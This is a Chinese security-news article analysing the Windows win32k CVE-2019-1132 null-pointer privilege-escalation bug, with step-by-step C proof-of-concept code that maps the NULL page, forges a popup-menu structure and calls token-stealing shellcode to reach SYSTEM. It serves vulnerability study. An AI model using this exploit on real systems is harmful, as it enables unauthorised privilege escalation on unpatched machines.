CVE–2019-1132漏洞修复后仍可被利用 – 安全客,安全资讯平台 | xxxCVE–2019-1132漏洞修复后仍可被利用 – 安全客,安全资讯平台 – xxx
菜单

CVE–2019-1132漏洞修复后仍可被利用 – 安全客,安全资讯平台

八月 6, 2019 - 安全客

CVE–2019-1132漏洞修复后仍可被利用 - 安全客,安全资讯平台

 

CVE–2019-1132是Windows kernel中的一个空指针引用漏洞。空指针引用漏洞已经消失多年了,但仍然被用于恶意软件攻击中。本文介绍CVE-2019-1132漏洞的技术细节,以及PoC代码。

简介

该漏洞是win32k.sys驱动中的空指针引用,会导致Windows 7和Windows Server 2008系统中的权限提升。微软已于2019年7月发布漏洞补丁。本文将对漏洞进行分析并创建了Windows 7 x86环境+6月份修复补丁的PoC。

 

漏洞概述

该来的位于win32k!xxxMNOpenHierarchy函数中,因为该函数没有检查指向tag POPUPMENU->ppopupmenuRoot的指针是否为空。该域可以被不同的操作访问,如果攻击者可以将该域设置为NULL,就可以引发空指针引用。

为了利用该漏洞,攻击者需要以特定方式来映射该null页,然后成功进行权限提升。
为了将ppopupmenuRoot设置为NULL,首先要释放该域指向的root popupmenu菜单。研究人员首先打开root popupmenu的一个sub-menu,sub-menu会在kernel模式下调用win32k!xxxMNOpenHierarchy,该调用会创建第二个sub-menu。创建第二个popupmenu时,root menusub-menuppopupmenuRoot域会含有NULL。当win32k!HMAssignmentLock函数尝试访问该域时,会执行一个空指针引用操作,导致BSOD(Windows蓝屏)。

 

漏洞触发

为了触发该漏洞,研究人员使用了ESET博客中的方法。总结如下:

1.首先创建一个窗口和3个menu对象,然后将meau项合并。

/* Creating the menu */  for (int i = 0; i < 3; i++)  hMenuList[i] = CreateMenu();  /* Appending the menus along with the item */  for (int i = 0; i < 3; i++)  {  AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item");  }  AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item");  /* Creating a main window class */  xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc);  hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",  WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,  WS_VISIBLE,  GetModuleHandleA(NULL));  printf("Handle of the mainWindow : 0x%08Xn", (unsigned int)hWindowMain);  ShowWindow(hWindowMain, SW_SHOWNOACTIVATE); 

2.在WH_CALLWNDPROCEVENT_SYSTEM_MENUPOPUPSTART上安装hook。

/* Hooking the WH_CALLWNDPROC function */  SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());  /* Hooking the trackpopupmenuEx WINAPI call */  HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc,  GetCurrentProcessId(), GetCurrentThreadId(), 0); 

3.用TrackPopupMenuEx函数来展示root popup menu。当TrackPopupMenuEx被调用时,会调用win32k!xxxTrackPopupMenuEx函数来展示菜单。然后会通过EVENT_SYSTEM_MENUPOPUPSTART类型的事件来通知用户。

/* Setting the root popup menu to null */ printf("Setting the root popup menu to nulln"); release = 0; TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL); 

4.这会触发事件hook函数xxWindowEventProc。通过发送MN_OPENHIERARCHY消息,它最终会调用函数win32k!xxxMNOpenHierarchy

static VOID CALLBACK xxWindowEventProc(     HWINEVENTHOOK hWinEventHook,     DWORD         event,     HWND          hwnd,     LONG          idObject,     LONG          idChild,     DWORD         idEventThread,     DWORD         dwmsEventTime ) {     UNREFERENCED_PARAMETER(hWinEventHook);     UNREFERENCED_PARAMETER(event);     UNREFERENCED_PARAMETER(idObject);     UNREFERENCED_PARAMETER(idChild);     UNREFERENCED_PARAMETER(idEventThread);     UNREFERENCED_PARAMETER(dwmsEventTime);      bEnterEvent = TRUE;     if (iCount < ARRAYSIZE(hwndMenuList))     {         hwndMenuList[iCount] = hwnd;         iCount++;     }     SendMessageW(hwnd, MN_SELECTITEM, 0, 0);     SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);     PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0); } 

5.当函数win32k!xxxMNOpenHierarchy被调用后,会调用win32k!xxxCreateWindowEx函数来创建另一个popupmenu对象。在调用win32k!xxxCreateWindowEx函数期间,WM_NCCREATE消息会被发送给用户,可以在WH_CALLWNDPROC hook函数中看到,比如xxWindowHookProc

6.在xxWindowHookProc函数中,研究人员会通过检查root menu对象的window handle来检查是否创建rootpopup menu对象,并验证下一个popup menu对象window handle是否为NULL。研究人员还确认了该消息是否为WM_NCCREATE

static LRESULT CALLBACK xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) {     tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;      if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1])     {         printf("Sending the MN_CANCELMENUS messagen");         SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0);         bEnterEvent = FALSE;     }     return CallNextHookEx(0, code, wParam, lParam); } 

然后发送WM_CANCELMENUSroot popupmenu对象。

最终会调用win32k!xxxMNCancel,并设置root popupmenufDestroyed位。然后调用win32k!xxxMNCloseHierarchy关系root popupmenu对象的栈中的sub-menu

因为sub-menu还没有被创建,因此函数会win32k!xxxMNCloseHierarchy跳过子menu对象,也不会设置fDestroyed位,当sub-menu存在时会破坏root popupmenu对象。

现在tagPOPUPMENU->ppopupmenuRoot被设置为NULL,因为sub-menuroot popup menu被破坏了,如截图所示。

CVE–2019-1132漏洞修复后仍可被利用 - 安全客,安全资讯平台

Ppopupmenu设置为NULL

 

漏洞利用

此时,ppopupmenuRoot会指向NULL。为了从NULL页触发内存访问,研究人员发送MN_BUTTONDOWN消息到sub-menu对象。研究人员最开始尝试利用ESET建议的方法来触发该漏洞,但是通过发送MN_BUTTONDOWN消息可以调用win32k!xxxMNOpenHierarchy 函数。

还有另一种方法来调用win32k!xxxMNOpenHierarchy函数,那就是通过sub-menu作为根(root)的TrackPopupMenuEx。所以研究人员使用TrackPopupMenuEx来调用win32k!xxxMNOpenHierarchy函数,并最终访问了NULL页面。

CVE–2019-1132漏洞修复后仍可被利用 - 安全客,安全资讯平台

访问NULL Page

可以看到访问了位置0x0000001c,该位置指向的是释放的root popup menu对象的tagWND对象。

然后该地址被发送给win32k!HMAssignmentLock函数。

ESET博客中提到,bServerSideWindowProc位是在函数win32k!HMDestroyedUnlockedObject中设置的。但是研究人员尝试后还是无法设置攻击窗口的位。因此研究人员使用clockObj指令递减来设置 bServerSideWindowProc位。

下面介绍下漏洞利用的步骤:

1.首先创建一个作为攻击窗口的窗口。

/* Creating the hunt window class */     xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc);     hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",         WS_EX_LEFT,         WS_OVERLAPPEDWINDOW,         GetModuleHandleA(NULL));     printf("Handle of the huntWindow : 0x%08Xn", (unsigned int)hWindowHunt); 

2.然后使用NtAllocateVirtualMemory来在NULL页面分配内存。

/* Allocating the memory at NULL page */     *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory");     if (NtAllocateVirtualMemory == NULL)         return 1;      if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(),         &MemAddr,         0,         &MemSize,         MEM_COMMIT | MEM_RESERVE,         PAGE_READWRITE)) || MemAddr != NULL)     {         printf("[-]Memory alloc failed!n");         return 1;     }     ZeroMemory(MemAddr, MemSize); 

3.然后使用HMValidateHandle函数技术就可以写了攻击窗口的tagWND对象的地址。

/* Getting the tagWND of the hWindowHunt */     PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);     printf("Address of the win32k!tagWND of hWindowHunt : 0x%08Xn", (unsigned int)head->deskhead.pSelf); 

4.研究人员在NULL页面伪造了一个假的popupmenu对象来满足设置攻击窗口的bServerSideWindowProc位的条件。

/* Creating a fake POPUPMENU structure */     DWORD dwPopupFake[0x100] = { 0 };     dwPopupFake[0x0] = (DWORD)0x1; //->flags     dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify     dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu     dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup     dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup     dwPopupFake[0x5] = (DWORD)0x1; //->spmenu     dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate     dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12;  //->spwndActivePopup     dwPopupFake[0x8] = (DWORD)0x1;  //->ppopupmenuRoot     dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree     dwPopupFake[0xA] = (DWORD)0x1;  //->posSelectedItem     dwPopupFake[0xB] = (DWORD)0x1; //->posDropped     dwPopupFake[0xC] = (DWORD)0;  /* Copying it to the NULL page */     RtlCopyMemory(MemAddr, dwPopupFake, 0x1000); 

win32k!HMAssignmentLock函数(0x0000001c)访问的地址指向的是伪造的popupmenu对象的spwndActivePopup。然后研究人员将伪造的popupmenu对象的spwndActivePopup域设置为指向地址tagWND + 0x12

这是因为在[eax + 4]clockObj值的指令,bServerSideWindowProc位在tagWND对象的第18位。为了成功设置该位,(eax + 4)必须指向tagWND对象+0x16

5.现在就可以访问映射到NULL页面的域,并验证攻击窗口的bServerSideWindowProc位是否设置。

CVE–2019-1132漏洞修复后仍可被利用 - 安全客,安全资讯平台

设置bServerSideWindowProc位

6.可以看出设置了bServerSideWindowProc位。然后可以发送消息到攻击窗口,然后会被xxMainWindowProc处理。然后检查cs寄存器。如果cs寄存器等于0x1b,而且处于用户模式,就会失败否则就调用shellcode。

Shellcode执行后,就成功了:

static LRESULT WINAPI xxMainWindowProc(     _In_ HWND   hwnd,     _In_ UINT   msg,     _In_ WPARAM wParam,     _In_ LPARAM lParam ) {     if (msg == 0x1234)     {         WORD um = 0;         __asm         {             // Grab the value of the CS register and             // save it into the variable UM.             //int 3             mov ax, cs             mov um, ax         }         // If UM is 0x1B, this function is executing in usermode         // code and something went wrong. Therefore output a message that         // the exploit didn't succeed and bail.         if (um == 0x1b)         {             // USER MODE             printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.rn");             ExitProcess(-1); // Bail as if this code is hit either the target isn't                               // vulnerable or something is wrong with the exploit.         }         else         {             success = TRUE; // Set the success flag to indicate the sprayCallback()                             // window procedure is running as SYSTEM.             Shellcode(); // Call the Shellcode() function to perform the token stealing and                          // to remove the Job object on the Chrome renderer process.         }     }     return DefWindowProcW(hwnd, msg, wParam, lParam); } 

CVE–2019-1132漏洞修复后仍可被利用 - 安全客,安全资讯平台

获取NT AUTHORITY/SYSTEM权限

漏洞利用代码已经在安装了6月份补丁的Windows 7 x86环境中进行了测试,代码参见github: https://github.com/Vlad-tri/CVE-2019-1132


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51